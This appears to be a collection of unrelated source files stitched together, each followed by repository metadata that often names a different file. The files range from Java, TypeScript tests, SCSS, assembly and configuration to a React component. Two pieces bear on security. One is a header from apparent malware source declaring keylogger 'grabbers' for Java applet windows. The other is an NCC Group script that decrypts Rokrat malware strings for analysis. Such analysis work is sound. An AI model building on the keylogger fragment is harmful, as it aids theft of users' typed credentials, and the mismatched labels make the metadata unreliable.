        pc.setService("service");
        pc.setServiceImpl("service.impl");
        pc.setController("web");
        mpg.setPackageInfo(pc);
        // 放置自己项目的 src/main/resources/template 目录下, 默认名称一下可以不配置，也可以自定义模板名称
        TemplateConfig tc = new TemplateConfig();
        tc.setEntity("tpl/entity.java.vm");
        tc.setMapper("tpl/mapper.java.vm");
        tc.setXml("tpl/mapper.xml.vm");
        tc.setService("tpl/iservice.java.vm");
        tc.setServiceImpl("tpl/serviceImpl.java.vm");
        tc.setController("tpl/controller.java.vm");
        mpg.setTemplate(tc);
        // 执行生成
        mpg.execute();
    }
}

{'repo_name': 'iBase4J/iBase4J-SpringBoot', 'stars': '344', 'repo_language': 'JavaScript', 'file_name': 'AuthorizeRealm.java', 'mime_type': 'text/x-java', 'hash': 4775747600852979360, 'source_dataset': 'data'}


@include keyframes(press) {
    50% {
        @include transform(scale3d(.7, .7, .7));
    }
}
@mixin press($count: $countDefault, $duration: $durationDefault, $delay: $delayDefault, $function: $functionDefault, $fill: $fillDefault, $visibility: $visibilityDefault) {
    @include animation-name(press);
    @include count($count);
    @include duration($duration);
    @include delay($delay);
    @include function($function);
    @include fill-mode($fill);
    @include visibility($visibility);
}

{'repo_name': 'alibaba-fusion/next', 'stars': '3195', 'repo_language': 'JavaScript', 'file_name': 'launch.json', 'mime_type': 'text/plain', 'hash': 370713785539334776, 'source_dataset': 'data'}


import { join } from 'path';
import { readFileSync } from 'fs';
import { utils } from 'umi';

import { getNewRouteCode, writeRouteNode } from './writeNewRoute';
import routeNode from '../fixtures/routeNode.json';
import relativeRouteNode from '../fixtures/relativeRouteNode.json';

const { winEOL } = utils;

const typeMap = [
  '../fixtures/exportDefaultRoutes.js',
  '../fixtures/importedRoutes.js',
  '../fixtures/exportsRoutes.js',
  '../fixtures/routesWithTypescript.ts',
];
const getPath = path => join(__dirname, path);

describe('test get config path', () => {
  it('get path in antdpro', () => {
    const configPath = getPath('../fixtures/block/antdpro/config/config.js');
    const routesPath = getPath('../fixtures/block/antdpro/config/router.config.js');

    const { routesPath: path } = getNewRouteCode(
      configPath,
      { path: '/demo', component: './demo' },
      '../fixtures/block/antdpro',
    );
    expect(path).toEqual(routesPath);
  });

  it('get path in antdpro ts', () => {
    const configPath = getPath('../fixtures/block/antdprots/config/config.ts');
    const routesPath = getPath('../fixtures/block/antdprots/config/router.config.ts');

    const { routesPath: path } = getNewRouteCode(
      configPath,
      { path: '/demo', component: './demo' },
      '../fixtures/block/antdprots',
    );
    expect(path).toEqual(routesPath);
  });

  it('get path in simple demo', () => {
    const configPath = getPath('../fixtures/block/simple/.umirc.js');

    const { routesPath: path } = getNewRouteCode(
      configPath,
      {
        path: '/demo',
        component: './demo',
      },
      null,
    );
    expect(path).toEqual(configPath);
  });

  it('get path in alias demo', () => {
    const configPath = getPath('../fixtures/block/alias/config/config.js');
    const aliasPath = getPath('../fixtures/block/alias');
    const realConfig = join(aliasPath, 'routes.js');

    const { routesPath: path } = getNewRouteCode(
      configPath,
      { path: '/demo', component: './demo' },
      aliasPath,
    );
    expect(path).toEqual(realConfig);
  });
});

describe('test get route code', () => {
  it('get route code no params', () => {
    process.env.BIGFISH_COMPAT = true;
    typeMap.forEach(item => {
      const { code } = getNewRouteCode(getPath(item), {
        path: '/demo',
        component: './Demo',
      });
      expect(code).toEqual(
        winEOL(readFileSync(getPath(item.replace(/\.(ts|js)$/, '.result.$1')), 'utf-8')),
      );
    });
  });

  it('get route code with layout path', () => {
    typeMap.forEach(item => {
      const { code } = getNewRouteCode(
        getPath(item),
        {
          path: '/aa/xx/sdad/demo',
          component: './aa/xx/sdad/Demo',
        },
        null,
      );
      expect(code).toEqual(
        winEOL(readFileSync(getPath(item.replace(/\.(ts|js)$/, '.resultWithLayout.$1')), 'utf-8')),
      );
    });
  });

  it('get rout not found', () => {
    try {
      getNewRouteCode(
        getPath('../fixtures/notRoutes.js'),
        {
          path: '/aa/xx/sdad',
          component: './aa/xx/sdad',
        },
        null,
      );
    } catch (error) {
      expect(error.message).toEqual('route array config not found.');
    }
  });
});

describe('find layout node', () => {
  it('not found, return root', () => {
    expect(
      writeRouteNode(routeNode, {
        path: '/sddd',
      }).end,
    ).toEqual(299);
  });

  it('seme as layout', () => {
    expect(
      writeRouteNode(routeNode, {
        path: '/users',
      }).end,
    ).toEqual(293);
  });

  it('found, return /users', () => {
    expect(
      writeRouteNode(routeNode, {
        path: '/users/hahaha',
      }).start,
    ).toEqual(74);
  });

  it('found, return /users/settings', () => {
    expect(
      writeRouteNode(routeNode, {
        path: '/users/settings/some',
      }).start,
    ).toEqual(133);
  });

  it('found, return /users/settings/help', () => {
    expect(
      writeRouteNode(routeNode, {
        path: '/users/settings/help/faq',
      }).start,
    ).toEqual(210);
  });

  it('found, return /users/settings', () => {
    expect(
      writeRouteNode(routeNode, {
        path: '/users/settings/wanted/adad/adadv/adadad/adadadad/adadad',
      }).start,
    ).toEqual(133);
  });
});

describe('find relative layout node', () => {
  it('not found, return root', () => {
    expect(
      writeRouteNode(relativeRouteNode, {
        path: '/adada',
      }).start,
    ).toEqual(152);
  });

  it('found, return /account/settings', () => {
    expect(
      writeRouteNode(relativeRouteNode, {
        path: '/account/settings/base/adadadaad',
      }).start,
    ).toEqual(1113);
  });

  it('found, return /account', () => {
    expect(
      writeRouteNode(relativeRouteNode, {
        path: '/account/adada',
      }).start,
    ).toEqual(250);
  });
});

{'repo_name': 'umijs/umi-ui', 'stars': '132', 'repo_language': 'TypeScript', 'file_name': 'ui.e2e.ts.bak', 'mime_type': 'text/x-java', 'hash': 4857387209623032210, 'source_dataset': 'data'}


/* AMD64 (x86_64) rshift -- Right shift a limb vector and store
 *		  result in a second limb vector.
 *
 *      Copyright (C) 1992, 1994, 1995, 1998,
 *                    2001, 2002, 2006 Free Software Foundation, Inc.
 *
 * This file is part of Libgcrypt.
 *
 * Libgcrypt is free software; you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as
 * published by the Free Software Foundation; either version 2.1 of
 * the License, or (at your option) any later version.
 *
 * Libgcrypt is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
 *
 * Note: This code is heavily based on the GNU MP Library.
 *	 Actually it's the same code with only minor changes in the
 *	 way the data is stored; this is to support the abstraction
 *	 of an optional secure memory allocation which may be used
 *	 to avoid revealing of sensitive data due to paging etc.
 */

#include "sysdep.h"
#include "asm-syntax.h"

/*******************
 * mpi_limb_t
 * _gcry_mpih_rshift( mpi_ptr_t wp,	rdi
 *		   mpi_ptr_t up,	rsi
 *		   mpi_size_t usize,	rdx
 *		   unsigned cnt)	rcx
 */

.text
	.globl C_SYMBOL_NAME(_gcry_mpih_rshift)
C_SYMBOL_NAME(_gcry_mpih_rshift:)
	movq	(%rsi), %mm7
	movd	%ecx, %mm1
	movl	$64, %eax
	subl	%ecx, %eax
	movd	%eax, %mm0
	movq	%mm7, %mm3
	psllq	%mm0, %mm7
	movd	%mm7, %rax
	leaq	(%rsi,%rdx,8), %rsi
	leaq	(%rdi,%rdx,8), %rdi
	negq	%rdx
	addq	$2, %rdx
	jg	.Lendo

	ALIGN(8)			/* minimal alignment for claimed speed */
.Loop:	movq	-8(%rsi,%rdx,8), %mm6
	movq	%mm6, %mm2
	psllq	%mm0, %mm6
	psrlq	%mm1, %mm3
	por	%mm6, %mm3
	movq	%mm3, -16(%rdi,%rdx,8)
	je	.Lende
	movq	(%rsi,%rdx,8), %mm7
	movq	%mm7, %mm3
	psllq	%mm0, %mm7
	psrlq	%mm1, %mm2
	por	%mm7, %mm2
	movq	%mm2, -8(%rdi,%rdx,8)
	addq	$2, %rdx
	jle	.Loop

.Lendo:	movq	%mm3, %mm2
.Lende:	psrlq	%mm1, %mm2
	movq	%mm2, -8(%rdi)
	emms
	ret

{'repo_name': 'Clover-EFI-Bootloader/clover', 'stars': '190', 'repo_language': 'C', 'file_name': 'Readme.txt', 'mime_type': 'text/plain', 'hash': 4724971900607544023, 'source_dataset': 'data'}


#!/usr/bin/perl -w

use Test::More tests => 1;

ok( !$INC{'threads.pm'}, 'Loading Test::More does not load threads.pm' );

{'repo_name': 'damonkohler/sl4a', 'stars': '2070', 'repo_language': 'C', 'file_name': 'riscosenviron.py', 'mime_type': 'text/x-python', 'hash': -5964433605672685877, 'source_dataset': 'data'}


/*============================================================================
  CMake - Cross Platform Makefile Generator
  Copyright 2000-2009 Kitware, Inc., Insight Software Consortium

  Distributed under the OSI-approved BSD License (the "License");
  see accompanying file Copyright.txt for details.

  This software is distributed WITHOUT ANY WARRANTY; without even the
  implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
  See the License for more information.
============================================================================*/
#ifndef cmQTWrapCPPCommand_h
#define cmQTWrapCPPCommand_h

#include "cmCommand.h"

#include "cmSourceFile.h"

/** \class cmQTWrapCPPCommand
 * \brief Create moc file rules for Qt classes
 *
 * cmQTWrapCPPCommand is used to create wrappers for Qt classes into
 * normal C++
 */
class cmQTWrapCPPCommand : public cmCommand
{
public:
  cmTypeMacro(cmQTWrapCPPCommand, cmCommand);

  /**
   * This is a virtual constructor for the command.
   */
  virtual cmCommand* Clone()
    {
    return new cmQTWrapCPPCommand;
    }

  /**
   * This is called when the command is first encountered in
   * the CMakeLists.txt file.
   */
  virtual bool InitialPass(std::vector<std::string> const& args,
                           cmExecutionStatus &status);

  /**
   * The name of the command as specified in CMakeList.txt.
   */
  virtual const char* GetName() const { return "qt_wrap_cpp";}

  /**
   * Succinct documentation.
   */
  virtual const char* GetTerseDocumentation() const
    {
    return "Create Qt Wrappers.";
    }

  /**
   * More documentation.
   */
  virtual const char* GetFullDocumentation() const
    {
    return
      "  qt_wrap_cpp(resultingLibraryName DestName\n"
      "              SourceLists ...)\n"
      "Produce moc files for all the .h files listed in the SourceLists.  "
      "The moc files will be added to the library using the DestName "
      "source list.";
    }
};

#endif

{'repo_name': 'adobe-flash/crossbridge', 'stars': '525', 'repo_language': 'C', 'file_name': 'p1.cpp', 'mime_type': 'text/x-c++', 'hash': -7270112471879436311, 'source_dataset': 'data'}


service/start=service_start()
start=service_start()

service/stop=service_stop()
stop=service_stop()

service/restart=service_restart()
restart=service_restart()

service/status=service_status()
status=service_status()

{'repo_name': 'sm/sm', 'stars': '285', 'repo_language': 'Shell', 'file_name': 'etc_profile.template', 'mime_type': 'text/plain', 'hash': -5202355221694423889, 'source_dataset': 'data'}


//---------------------------------------------------------------------------
//
//  Модуль инициализации граберов в ява аплетах
//
//  Модифицирован: декабрь 2012
//  Версия:        1.0
//
//
//  ВАЖНО:  Для корректной инициализации грабера необходимо
//          включать данный модуль во всех заголовочных
//          файлах граберов
//
//---------------------------------------------------------------------------

#ifndef JavaAppletGrabbersH
#define JavaAppletGrabbersH
//---------------------------------------------------------------------------

#include <Windows.h>
#include "UniversalKeyLogger.h"

// Хэши классов окна явы
#define JAVAWND_SUNAWTFRAME  0x809BB5B9 /* sunawtframe */
#define JAVAWND_SUNAWTDIALOG 0xFDDA99B6 /* sunawtdialog */

//-----------------------------------------------
//  Фугкция инициализирует систему граберов в
//  ява аплетах
//-----------------------------------------------
bool InitializeJavaAppletGrabbers();

//=========================================================
//  Утилиты для работы с аплетами ява
//=========================================================

//-----------------------------------------------
// IsJavaEditWindow - Функция возвращает истину
//                    если окно является
//                    редактором ввода ява аплета
//-----------------------------------------------
bool IsJavaEditWindow(HWND Wnd);

//-----------------------------------------------
//  IsJavaLabelWindow - Функция возвращает истину
//                     окно является обычной
//                     надписью
//-----------------------------------------------
bool IsJavaLabelWindow(HWND Wnd);

//-----------------------------------------------
//  GetSunAwtCanvasWnd - Функция возвращает окно
//                       SunAwtCanvas
//-----------------------------------------------
HWND GetSunAwtCanvasWnd(HWND SunAwtFrameWnd);

//---------------------------------------------------------------------------
#endif

{'repo_name': 'RamadhanAmizudin/malware', 'stars': '338', 'repo_language': 'C++', 'file_name': 'xpcIJSWeakReference.h', 'mime_type': 'text/x-c++', 'hash': 5312285448900464631, 'source_dataset': 'data'}


import PropTypes from 'prop-types';
import React from 'react';
import ServiceUploadDetail from './ServiceUploadDetail';

class PastServiceUploads extends React.Component {

  render() {
    const { serviceUploads } = this.props;

    if (serviceUploads === null) return this.renderSpinner();

    return this.renderUploads();
  }

  renderUploads() {
    const { serviceUploads, onClickDeleteServiceUpload } = this.props;

    return (

        {serviceUploads.map((serviceUpload) => {
          return (
            <ServiceUploadDetail
              data={serviceUpload}
              onClickDeleteServiceUpload={onClickDeleteServiceUpload}
              key={serviceUpload.id} />
          );
        })}

    );
  }

  renderSpinner() {
    return (

Loading...

    );
  }

}

PastServiceUploads.propTypes = {
  serviceUploads: PropTypes.array,  /* show loading spinner if null */
  onClickDeleteServiceUpload: PropTypes.func.isRequired,
};

export default PastServiceUploads;

{'repo_name': 'studentinsights/studentinsights', 'stars': '114', 'repo_language': 'JavaScript', 'file_name': 'browserconfig.xml', 'mime_type': 'text/xml', 'hash': -6053351480361757140, 'source_dataset': 'data'}


# 此文件配置**构建**这个lib时应该使用的Proguard规则.

#kotlin一般性配置 START
#-keep class kotlin.** { *; }
#-keep class kotlin.Metadata { *; }
-dontwarn kotlin.**
-keepclassmembers class **$WhenMappings {
    <fields>;
}
-keepclassmembers class kotlin.Metadata {
    public <methods>;
}
#kotlin一般性配置 END

-keep class com.tencent.shadow.dynamic.loader.**{*;}
-keep class com.tencent.shadow.dynamic.impl.**{*;}

{'repo_name': 'Tencent/Shadow', 'stars': '4527', 'repo_language': 'Java', 'file_name': 'AndroidManifest.xml', 'mime_type': 'text/plain', 'hash': -5492423072857415762, 'source_dataset': 'data'}


########
# Author: Nikolaos P, NCC Group
#   Date: August 2018
#
# Decrypt strings from a Rokrat sample.  See the NCC Group blog
# for further information.
########

def getword(getdwordn, n):
    return int((getdwordn&(0xFFFF<<(16*n)))>>(16*n))

encrypted_str = [0x8FB08D6,0x9460939,0x93A093F,0x8FB0910,0x902093A,0x9370944,0x93B0943,0x8FB0910,0x9020949,0x9370946,0x93E094A,0x8FB0910,0x8FB0949,0x939]

key = int(encrypted_str[0] & 0xFF)

result = ""

for item in encrypted_str:
	for p in range(2):
		sub1 = getword(item,p)
		if(sub1==0):
			continue
		result += unichr( (sub1 - key)- 0x800)

print result[1:]

{'repo_name': 'nccgroup/Cyber-Defence', 'stars': '333', 'repo_language': 'Python', 'file_name': 'bypass-iocs.md', 'mime_type': 'text/plain', 'hash': -7876853186589536608, 'source_dataset': 'data'}


fileFormatVersion: 2
guid: 43f748573b6b69b47af2c1295c500894
timeCreated: 1508426041
licenseType: Pro
NativeFormatImporter:
  externalObjects: {}
  mainObjectFileID: 2100000
  userData:
  assetBundleName:
  assetBundleVariant:

{'repo_name': 'Unity-Technologies/Graphics', 'stars': '309', 'repo_language': 'C#', 'file_name': 'Decal_All_SG.mat', 'mime_type': 'text/plain', 'hash': -1451399262400373187, 'source_dataset': 'data'}


/*
 * SPDX-License-Identifier: Apache-2.0
 * Copyright 2018-2019 The Feast Authors
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package feast.core.service;

import feast.core.dao.ProjectRepository;
import feast.core.model.Project;
import java.util.List;
import java.util.Optional;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

@Slf4j
@Service
public class ProjectService {

  private ProjectRepository projectRepository;

  @Autowired
  public ProjectService(ProjectRepository projectRepository) {
    this.projectRepository = projectRepository;
  }

  /**
   * Creates a project
   *
   * @param name Name of project to be created
   */
  @Transactional
  public void createProject(String name) {
    if (projectRepository.existsById(name)) {
      throw new IllegalArgumentException(String.format("Project already exists: %s", name));
    }
    Project project = new Project(name);
    projectRepository.saveAndFlush(project);
  }

  /**
   * Archives a project
   *
   * @param name Name of the project to be archived
   */
  @Transactional
  public void archiveProject(String name) {
    Optional<Project> project = projectRepository.findById(name);
    if (!project.isPresent()) {
      throw new IllegalArgumentException(String.format("Could not find project: \"%s\"", name));
    }
    if (name.equals(Project.DEFAULT_NAME)) {
      throw new UnsupportedOperationException("Archiving the default project is not allowed.");
    }
    Project p = project.get();
    p.setArchived(true);
    projectRepository.saveAndFlush(p);
  }

  /**
   * List all active projects
   *
   * @return List of active projects
   */
  @Transactional
  public List<Project> listProjects() {
    return projectRepository.findAllByArchivedIsFalse();
  }
}

{'repo_name': 'feast-dev/feast', 'stars': '932', 'repo_language': 'Java', 'file_name': 'RequestUtilTest.java', 'mime_type': 'text/x-c++', 'hash': -2872279873257552332, 'source_dataset': 'data'}